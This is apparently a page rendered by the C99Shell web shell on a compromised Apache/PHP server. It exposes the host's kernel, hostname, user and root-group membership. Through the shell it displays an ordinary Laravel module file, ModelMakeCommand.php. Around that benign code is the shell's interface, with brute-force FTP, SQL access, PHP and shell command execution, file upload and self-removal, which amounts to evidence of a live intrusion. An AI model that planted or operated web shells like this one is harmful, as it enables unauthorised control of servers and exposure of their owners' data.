!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ModelMakeCommand.php (5.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Support\Str;
use 
Nwidart\Modules\Support\Config\GenerateConfigReader;
use 
Nwidart\Modules\Support\Stub;
use 
Nwidart\Modules\Traits\ModuleCommandTrait;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

class 
ModelMakeCommand extends GeneratorCommand
{
    use 
ModuleCommandTrait;

    
/**
     * The name of argument name.
     *
     * @var string
     */
    
protected $argumentName 'model';

    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:make-model';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Create a new model for the specified module.';

    public function 
handle() : int
    
{
        if (
parent::handle() === E_ERROR) {
            return 
E_ERROR;
        }

        
$this->handleOptionalMigrationOption();
        
$this->handleOptionalControllerOption();

        return 
0;
    }

    
/**
     * Create a proper migration name:
     * ProductDetail: product_details
     * Product: products
     * @return string
     */
    
private function createMigrationName()
    {
        
$pieces preg_split('/(?=[A-Z])/'$this->argument('model'), -1PREG_SPLIT_NO_EMPTY);

        
$string '';
        foreach (
$pieces as $i => $piece) {
            if (
$i+count($pieces)) {
                
$string .= strtolower($piece) . '_';
            } else {
                
$string .= Str::plural(strtolower($piece));
            }
        }

        return 
$string;
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'model'InputArgument::REQUIRED'The name of model will be created.'],
            [
'module'InputArgument::OPTIONAL'The name of module will be used.'],
        ];
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'fillable'nullInputOption::VALUE_OPTIONAL'The fillable attributes.'null],
            [
'migration''m'InputOption::VALUE_NONE'Flag to create associated migrations'null],
            [
'controller''c'InputOption::VALUE_NONE'Flag to create associated controllers'null],
        ];
    }

    
/**
     * Create the migration file with the given model if migration flag was used
     */
    
private function handleOptionalMigrationOption()
    {
        if (
$this->option('migration') === true) {
            
$migrationName 'create_' $this->createMigrationName() . '_table';
            
$this->call('module:make-migration', ['name' => $migrationName'module' => $this->argument('module')]);
        }
    }

    
/**
     * Create the controller file for the given model if controller flag was used
     */
    
private function handleOptionalControllerOption()
    {
        if (
$this->option('controller') === true) {
            
$controllerName "{$this->getModelName()}Controller";

            
$this->call('module:make-controller'array_filter([
                
'controller' => $controllerName,
                
'module' => $this->argument('module')
            ]));
        }
    }

    
/**
     * @return mixed
     */
    
protected function getTemplateContents()
    {
        
$module $this->laravel['modules']->findOrFail($this->getModuleName());

        return (new 
Stub('/model.stub', [
            
'NAME'              => $this->getModelName(),
            
'FILLABLE'          => $this->getFillable(),
            
'NAMESPACE'         => $this->getClassNamespace($module),
            
'CLASS'             => $this->getClass(),
            
'LOWER_NAME'        => $module->getLowerName(),
            
'MODULE'            => $this->getModuleName(),
            
'STUDLY_NAME'       => $module->getStudlyName(),
            
'MODULE_NAMESPACE'  => $this->laravel['modules']->config('namespace'),
        ]))->
render();
    }

    
/**
     * @return mixed
     */
    
protected function getDestinationFilePath()
    {
        
$path $this->laravel['modules']->getModulePath($this->getModuleName());

        
$modelPath GenerateConfigReader::read('model');

        return 
$path $modelPath->getPath() . '/' $this->getModelName() . '.php';
    }

    
/**
     * @return mixed|string
     */
    
private function getModelName()
    {
        return 
Str::studly($this->argument('model'));
    }

    
/**
     * @return string
     */
    
private function getFillable()
    {
        
$fillable $this->option('fillable');

        if (!
is_null($fillable)) {
            
$arrays explode(','$fillable);

            return 
json_encode($arrays);
        }

        return 
'[]';
    }

    
/**
     * Get default namespace.
     *
     * @return string
     */
    
public function getDefaultNamespace() : string
    
{
        
$module $this->laravel['modules'];

        return 
$module->config('paths.generator.model.namespace') ?: $module->config('paths.generator.model.path''Entities');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--